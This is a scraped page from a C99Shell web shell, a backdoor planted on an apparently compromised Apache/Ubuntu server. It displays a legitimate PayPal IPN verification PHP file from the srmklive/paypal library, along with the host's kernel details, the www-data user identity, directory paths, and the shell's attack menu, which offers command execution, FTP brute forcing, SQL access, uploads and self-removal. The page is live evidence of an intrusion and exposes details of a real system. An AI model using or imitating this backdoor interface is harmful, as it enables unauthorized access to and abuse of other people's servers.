!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/srmklive/paypal/src/Traits/   drwxr-xr-x
Free 13.18 GB of 57.97 GB (22.74%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PayPalVerifyIPN.php (1.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Srmklive\PayPal\Traits;

trait 
PayPalVerifyIPN
{
    protected 
$webhook_id;

    public function 
setWebHookID(string $webhook_id): \Srmklive\PayPal\Services\PayPal
    
{
        
$this->webhook_id $webhook_id;

        return 
$this;
    }

    
/**
     * Verify incoming IPN through a web hook id.
     *
     * @throws \Throwable
     *
     * @return array|\Psr\Http\Message\StreamInterface|string
     */
    
public function verifyIPN(\Illuminate\Http\Request $request)
    {
        
$headers array_change_key_case($request->headers->all(), CASE_UPPER);

        if (!isset(
$headers['PAYPAL-AUTH-ALGO'][0]) ||
            !isset(
$headers['PAYPAL-TRANSMISSION-ID'][0]) ||
            !isset(
$headers['PAYPAL-CERT-URL'][0]) ||
            !isset(
$headers['PAYPAL-TRANSMISSION-SIG'][0]) ||
            !isset(
$headers['PAYPAL-TRANSMISSION-TIME'][0]) ||
            !isset(
$this->webhook_id)
        ) {
            
\Log::error('Invalid headers or webhook id supplied for paypal webhook');

            return 
response()->json([
                
'status'  => 'error',
                
'message' => 'Invalid headers or web hook id provided',
            ]);
        }

        
$params $request->all();

        
$payload = [
            
'auth_algo'         => $headers['PAYPAL-AUTH-ALGO'][0],
            
'cert_url'          => $headers['PAYPAL-CERT-URL'][0],
            
'transmission_id'   => $headers['PAYPAL-TRANSMISSION-ID'][0],
            
'transmission_sig'  => $headers['PAYPAL-TRANSMISSION-SIG'][0],
            
'transmission_time' => $headers['PAYPAL-TRANSMISSION-TIME'][0],
            
'webhook_id'        => $this->webhook_id,
            
'webhook_event'     => $params,
        ];

        return 
$this->verifyWebHook($payload);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--